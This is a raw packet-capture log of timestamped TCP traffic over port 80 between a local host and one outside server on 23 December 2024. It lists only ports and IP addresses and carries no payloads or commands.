Dec 23, 2024 08:39:42.144881010 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.144947052 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.144948006 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.145842075 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.145921946 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.145955086 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.146773100 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.146873951 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.146893978 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.147649050 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.147769928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.147798061 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.148591995 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.148663998 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.148670912 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.149457932 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.149543047 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.157130957 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.171735048 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.290126085 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:42.505176067 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:42.529297113 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:43.534030914 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:43.653543949 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:43.653767109 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:43.654159069 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:43.773597002 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155564070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155606031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155653954 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155670881 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155692101 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.155704975 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155721903 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.155739069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155774117 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155806065 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155817032 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.155842066 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155853033 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.155877113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.155927896 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.275599957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.275671959 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.275738001 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.364963055 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.365009069 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.365091085 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.369015932 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.369154930 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.369230032 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.377362013 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.377401114 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.377691031 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.385777950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.385896921 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.386033058 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.394150019 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.394304991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.394360065 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.402585983 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.402759075 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.402816057 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.410943985 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.411039114 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.411232948 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.419329882 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.419461966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.419575930 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.427705050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.427783966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.427927971 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.436120033 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.436204910 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.436352015 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.444430113 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.444511890 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.444746017 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.574214935 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.574254990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.574340105 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.575757980 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.575845957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.575896025 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.581182957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.581305981 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.581460953 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.586532116 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.586641073 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.586716890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.591917992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.591988087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.592052937 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.597285032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.597431898 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.597664118 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.602705956 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.602803946 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.602900982 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.608061075 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.608314991 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.608731031 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.613414049 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.613554955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.613611937 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.618818998 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.618952036 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.619010925 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.624175072 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.624232054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.624293089 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.629550934 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.629725933 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.629786968 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.635039091 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.635078907 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.635164022 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.640379906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.640517950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.640608072 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.645706892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.645891905 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.646015882 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.651077032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.651154995 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.651247025 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.784152985 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.784241915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.784316063 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.786245108 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.786317110 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.786422968 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.789571047 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.789766073 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.789843082 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.793972969 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.794109106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.794193983 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.798204899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.798310041 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.798446894 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.802480936 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.802599907 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.802659035 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.806806087 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.806920052 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.807208061 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.811203003 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.811223984 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.811319113 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.815414906 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.815546989 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.815872908 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.819684982 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.819843054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.819905043 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.823988914 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.824074030 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.824124098 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.828257084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.828424931 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.828505039 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.832601070 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.832706928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.832766056 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.836968899 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.837131023 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.837193012 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.841177940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.841284990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.841351032 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.845472097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.845591068 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.845668077 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.849785089 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.849993944 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.850074053 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.854077101 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.854199886 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.854255915 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.858388901 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.858489037 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.858661890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.862695932 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.862813950 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.862899065 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.867001057 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.867146015 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.867309093 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.871330976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.871469021 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.871531963 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.875587940 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.875704050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.875969887 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.879880905 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.880058050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.880523920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.884222984 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.884293079 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.884609938 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.888441086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.993915081 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.993968964 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.994039059 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.995620966 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.995733023 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.996129990 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.996211052 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.996279001 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:45.999428034 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.999555111 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:45.999607086 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.002729893 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.002947092 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.003005981 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.005959988 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.006062031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.006213903 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.009213924 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.009335041 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.009393930 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.012315035 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.012419939 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.012476921 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.015408993 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.015512943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.015639067 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.018461943 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.018590927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.018970013 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.021536112 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.021624088 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.021678925 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.024636030 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.024763107 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.024816990 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.027837992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.027966976 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.028034925 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.030795097 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.030896902 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.030965090 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.033884048 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.033970118 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.034040928 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.036942005 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.037101984 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.037187099 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.040024042 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.040146112 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.040200949 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.043111086 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.043219090 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.043652058 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.046211958 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.046305895 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.046366930 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.049268007 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.049370050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.049426079 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.052356005 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.052453995 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.052515984 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.055414915 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.055499077 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.055731058 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.058487892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.058595896 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.058662891 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.061640024 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.061743021 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.061911106 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.064697027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.064807892 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.064944983 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.067758083 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.067872047 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.067930937 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.070864916 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.070914030 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.070967913 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.073940992 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.073971033 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.074073076 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.077040911 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.077140093 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.077200890 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.080090046 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.080147028 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.080190897 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.083187103 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.083287001 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.083398104 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.086267948 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.086364031 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.086489916 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.089334965 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.089411020 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.089503050 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.092688084 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.092811108 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.092994928 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.095494032 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.095617056 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.096004009 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.098591089 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.098681927 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.098798037 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.101690054 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.101810932 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.101926088 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.104743004 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.104862928 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.105165005 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.107978106 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.108280897 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.110193968 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.110930920 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.111062050 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.114020109 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.114115953 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.114140987 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.114177942 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.117084026 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.117178917 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.117222071 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.120328903 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.120379925 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.120446920 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.123229027 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.206182957 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.206255913 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.206262112 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.206270933 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.206305027 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.206532955 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.210397959 CET	80	49800	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:46.210455894 CET	49800	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:46.210494995 CET	80	49800	139.99.188.124	192.168.2.6
